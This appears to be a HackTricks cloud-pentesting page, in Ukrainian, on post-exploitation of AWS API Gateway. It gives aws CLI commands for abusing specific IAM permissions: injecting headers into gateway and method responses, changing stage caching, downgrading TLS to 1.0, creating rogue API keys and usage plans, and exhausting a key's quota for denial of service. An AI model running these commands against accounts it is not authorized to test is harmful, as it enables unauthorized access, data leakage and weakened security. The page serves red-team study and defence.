AWS - API Gateway Post Exploitation

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

API Gateway

Для отримання додаткової інформації перевірте:

pageAWS - API Gateway Enum

Доступ до невикладених API

Ви можете створити кінцеву точку за адресою https://us-east-1.console.aws.amazon.com/vpc/home#CreateVpcEndpoint зі службою com.amazonaws.us-east-1.execute-api, викласти кінцеву точку в мережі, до якої у вас є доступ (можливо через машину EC2) та призначити групу безпеки, що дозволяє всі підключення. Потім з машини EC2 ви зможете отримати доступ до кінцевої точки і, отже, викликати API шлюзу, який раніше не був викладений.

DoS плани використання

У розділі Перелік ви можете побачити, як отримати план використання ключів. Якщо у вас є ключ і він обмежений до X використань на місяць, ви можете просто використовувати його і спричинити DoS.

Ключ API просто потрібно включити у HTTP заголовок з назвою x-api-key.

apigateway:UpdateGatewayResponse, apigateway:CreateDeployment

Атакувальник з дозволами apigateway:UpdateGatewayResponse та apigateway:CreateDeployment може змінити існуючу відповідь шлюзу, щоб додати власні заголовки або шаблони відповіді, які витікають чутливу інформацію або виконують зловмисні скрипти.

API_ID="your-api-id"
RESPONSE_TYPE="DEFAULT_4XX"

# Update the Gateway Response
aws apigateway update-gateway-response --rest-api-id $API_ID --response-type $RESPONSE_TYPE --patch-operations op=replace,path=/responseTemplates/application~1json,value="{\"message\":\"$context.error.message\", \"malicious_header\":\"malicious_value\"}"

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

Потенційний вплив: Витік чутливої інформації, виконання шкідливих сценаріїв або несанкціонований доступ до ресурсів API.

Потрібно тестування

apigateway:UpdateStage, apigateway:CreateDeployment

Атакувальник з дозволами apigateway:UpdateStage та apigateway:CreateDeployment може змінити існуючу стадію API Gateway для перенаправлення трафіку на іншу стадію або змінити налаштування кешування для несанкціонованого доступу до кешованих даних.

API_ID="your-api-id"
STAGE_NAME="Prod"

# Update the API Gateway stage
aws apigateway update-stage --rest-api-id $API_ID --stage-name $STAGE_NAME --patch-operations op=replace,path=/cacheClusterEnabled,value=true,op=replace,path=/cacheClusterSize,value="0.5"

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

Потенційний вплив: Несанкціонований доступ до кешованих даних, перешкоджання або перехоплення трафіку API.

Потрібно тестування

apigateway:PutMethodResponse, apigateway:CreateDeployment

Зловмисник з дозволами apigateway:PutMethodResponse та apigateway:CreateDeployment може змінювати відповідь методу існуючого методу API Gateway REST API, щоб додати власні заголовки або шаблони відповіді, які витікають чутливу інформацію або виконують зловмисні скрипти.

API_ID="your-api-id"
RESOURCE_ID="your-resource-id"
HTTP_METHOD="GET"
STATUS_CODE="200"

# Update the method response
aws apigateway put-method-response --rest-api-id $API_ID --resource-id $RESOURCE_ID --http-method $HTTP_METHOD --status-code $STATUS_CODE --response-parameters "method.response.header.malicious_header=true"

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

Потенційний вплив: Витік конфіденційної інформації, виконання шкідливих скриптів або несанкціонований доступ до ресурсів API.

Потрібно тестування

apigateway:UpdateRestApi, apigateway:CreateDeployment

Зловмисник з дозволами apigateway:UpdateRestApi та apigateway:CreateDeployment може змінювати налаштування API Gateway REST API для вимкнення журналювання або зміни мінімальної версії TLS, що потенційно може послабити безпеку API.

API_ID="your-api-id"

# Update the REST API settings
aws apigateway update-rest-api --rest-api-id $API_ID --patch-operations op=replace,path=/minimumTlsVersion,value='TLS_1.0',op=replace,path=/apiKeySource,value='AUTHORIZER'

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

Потенційний вплив: Ослаблення безпеки API, що потенційно може дозволити несанкціонований доступ або розкриття чутливої інформації.

Потрібно тестування

apigateway:CreateApiKey, apigateway:UpdateApiKey, apigateway:CreateUsagePlan, apigateway:CreateUsagePlanKey

Атакувальник з дозволами apigateway:CreateApiKey, apigateway:UpdateApiKey, apigateway:CreateUsagePlan та apigateway:CreateUsagePlanKey може створювати нові ключі API, асоціювати їх з планами використання, а потім використовувати ці ключі для несанкціонованого доступу до API.

# Create a new API key
API_KEY=$(aws apigateway create-api-key --enabled --output text --query 'id')

# Create a new usage plan
USAGE_PLAN=$(aws apigateway create-usage-plan --name "MaliciousUsagePlan" --output text --query 'id')

# Associate the API key with the usage plan
aws apigateway create-usage-plan-key --usage-plan-id $USAGE_PLAN --key-id $API_KEY --key-type API_KEY

Потенційний вплив: Несанкціонований доступ до ресурсів API, обхід контролів безпеки.

Потрібно тестування

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Last updated